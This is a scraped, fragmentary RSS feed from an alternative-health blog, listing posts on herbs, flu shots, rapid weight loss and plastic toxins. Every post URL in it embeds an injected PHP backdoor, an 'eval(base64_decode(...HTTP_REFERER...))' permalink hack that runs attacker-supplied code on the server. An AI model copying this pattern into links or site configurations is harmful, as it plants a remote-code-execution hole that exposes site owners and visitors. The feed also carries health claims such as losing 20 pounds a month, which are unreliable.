http://www.mindbodyspiritjournal.com sharing "what works" on the frontiers of mind, body, spirit, alternative medicine, and personal development Thu, 19 Nov 2009 21:17:24 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 http://www.mindbodyspiritjournal.com/2009/02/12/how-to-eat-fresh-local-foods-in-the-winter-anywhere/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.mindbodyspiritjournal.com/2009/02/12/how-to-eat-fresh-local-foods-in-the-winter-anywhere/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 12 Feb 2009 19:00:56 +0000 ken winston caine Body]]> Community]]> Eco Living]]> Healing]]> Health food]]> Holistic Health]]> Holistic Living]]> Life Support for Planet Earth]]> Natural Healing]]> Naturopathy]]> Right Livelihood]]> Save the Sky]]> http://www.mindbodyspiritjournal.com/?p=270 http://www.mindbodyspiritjournal.com/2009/02/12/how-to-eat-fresh-local-foods-in-the-winter-anywhere/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.mindbodyspiritjournal.com/2008/10/21/before-you-get-a-flu-shot-read-this/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.mindbodyspiritjournal.com/2008/10/21/before-you-get-a-flu-shot-read-this/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 21 Oct 2008 15:36:55 +0000 ken winston caine Body]]> Drug interactions and side effects]]> Healing]]> Holistic Health]]> Natural Healing]]> Naturopathy]]> Self-Healing]]> http://www.mindbodyspiritjournal.com/holistic-health/naturopathy/before-you-get-a-flu-shot-read-this http://www.mindbodyspiritjournal.com/2008/10/21/before-you-get-a-flu-shot-read-this/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.mindbodyspiritjournal.com/2007/12/27/reliable-herbal-medicine-information-how-to-use-herbs-effectively-safely/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.mindbodyspiritjournal.com/2007/12/27/reliable-herbal-medicine-information-how-to-use-herbs-effectively-safely/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 27 Dec 2007 17:53:19 +0000 ken winston caine Body]]> Drug interactions and side effects]]> Ecclectic Medicine]]> Eco Living]]> Healing]]> Healing Power of Herbs]]> Herbal Medicine]]> Holistic Health]]> Holistic Living]]> Holistic Practitioners]]> Integrative Medicine]]> Natural Beauty]]> Natural Healing]]> Naturopathy]]> Resources]]> Self-Healing]]> Spirit of Wellness]]> Whole Living]]> http://www.mindbodyspiritjournal.com/holistic-health/naturopathy/reliable-herbal-medicine-information-how-to-use-herbs-effectively-safely ken winston caine Reliable, detailed monographs on medicinal herbs are available free, online, from the North Carolina Consortium on Natural Medicines. They come in three flavors: 1. For health professionals. 2. For everyone else. 3. For growers. You can access any of them. They are limited to herbs that can be grown in North Carolina -- so you won't find an extensive list of medicinal herbs here. But the information you will find is very thorough and well vetted. Find them here:]]> http://www.mindbodyspiritjournal.com/2007/12/27/reliable-herbal-medicine-information-how-to-use-herbs-effectively-safely/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.mindbodyspiritjournal.com/2007/11/29/secret-to-losing-20-lbs-a-month-make-your-diet-boring/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.mindbodyspiritjournal.com/2007/11/29/secret-to-losing-20-lbs-a-month-make-your-diet-boring/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Nov 2007 23:04:26 +0000 ken winston caine Achievement]]> Body]]> COACHING -- Personal-Development & Success]]> Exercise]]> Holistic Health]]> Holistic Living]]> How to Make 'Simple' Serenely Elegant]]> Living with Fat]]> Maintaining Constructive Attitude and Energy]]> Manifesting Your Desires]]> Natural Beauty]]> Naturopathy]]> On-Purpose Living]]> Positive Energy]]> Self-Healing]]> Spirit of Wellness]]> Whole Living]]> http://www.mindbodyspiritjournal.com/holistic-health/naturopathy/secret-to-losing-20-lbs-a-month-make-your-diet-boring ken winston caine Want to lose 20 pounds in the next 30 days? Make your diet boring. Boring and simple, says Tim Ferris, best-selling author of The Four-Hour Workweek. That doesn't mean no variety or tasteless meals, Ferris explains. He provides four simple rules for losing weight quickly, while building muscle, and -- exercise is NOT one of them. (Click the link below to see all four rules -- and the exact diet he is using.) The rules look nutritionally sound. And they are based on results from scientific studies. Why make your diet boring? Because it's easier to follow that way, he says. "The most successful dieters, regardless of whether their goal is muscle gain or fat loss, eat the same few meals over and over again," he writes in a blog post at ]]> http://www.mindbodyspiritjournal.com/2007/11/29/secret-to-losing-20-lbs-a-month-make-your-diet-boring/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 2 http://www.mindbodyspiritjournal.com/2007/11/11/great-herbal-resource-available-free-only-a-click-away/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.mindbodyspiritjournal.com/2007/11/11/great-herbal-resource-available-free-only-a-click-away/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 11 Nov 2007 19:41:32 +0000 ken winston caine Body]]> Drug interactions and side effects]]> Ecclectic Medicine]]> Eco Living]]> Healing]]> Healing Power of Herbs]]> Herbal Medicine]]> Holistic Health]]> Holistic Living]]> Holistic Practitioners]]> Integrative Medicine]]> Natural Healing]]> Naturopathy]]> Resources]]> Self-Healing]]> Whole Living]]> http://www.mindbodyspiritjournal.com/holistic-health/naturopathy/great-herbal-resource-available-free-only-a-click-away ken winston caine Naturopath Leslie Taylor maintains an extraordinary database of known information about medicinal herbs on the rain-tree.com website, and includes the scientific citations. Much of the information comes from Taylor's book, The Healing Power of Rainforest Herbs. Too look up an herb, go to:]]> http://www.mindbodyspiritjournal.com/2007/11/11/great-herbal-resource-available-free-only-a-click-away/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.mindbodyspiritjournal.com/2007/11/01/new-mothers-leading-fight-against-toxins-in-plastic-containers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.mindbodyspiritjournal.com/2007/11/01/new-mothers-leading-fight-against-toxins-in-plastic-containers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 01 Nov 2007 18:18:01 +0000 ken winston caine Body]]> Creating Healing Environments]]> Eco Living]]> Holistic Health]]> Holistic Living]]> Life Support for Planet Earth]]> Naturopathy]]> Whole Living]]> http://www.mindbodyspiritjournal.com/holistic-health/naturopathy/new-mothers-leading-fight-against-toxins-in-plastic-containers ken winston caine USA Today reports that parents of new babies are leading the fight against our widespread exposure to health-robbing, mutagenic toxins in plastics. In one of the more comprehensive and serious examinations of the health threats from plastics and plastic food containers, USA Today reporters Elizabeth Weise and Liz Szabo, note in the copyright story, among other things: • "Parents, activists and many scientists are concerned that if a baby drinks from a bottle made with [plastic chemicals] bisphenol A [BPA] or gums a toy made with phthalates, he or she could suffer serious, even permanent, harm." • "In December, the National Toxicology Program, part of the U.S. Department of Health and Human Services, concluded that one form of phthalate, called di(2-ethylhexyl), or DEHP, used in intravenous tubing, catheters and other plastic medical equipment, could pose a risk to the proper development of baby boys' reproductive tracts." • "Nearly every American has been exposed. A 2000 study by the U.S. Centers for Disease Control and Prevention found ]]> http://www.mindbodyspiritjournal.com/2007/11/01/new-mothers-leading-fight-against-toxins-in-plastic-containers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0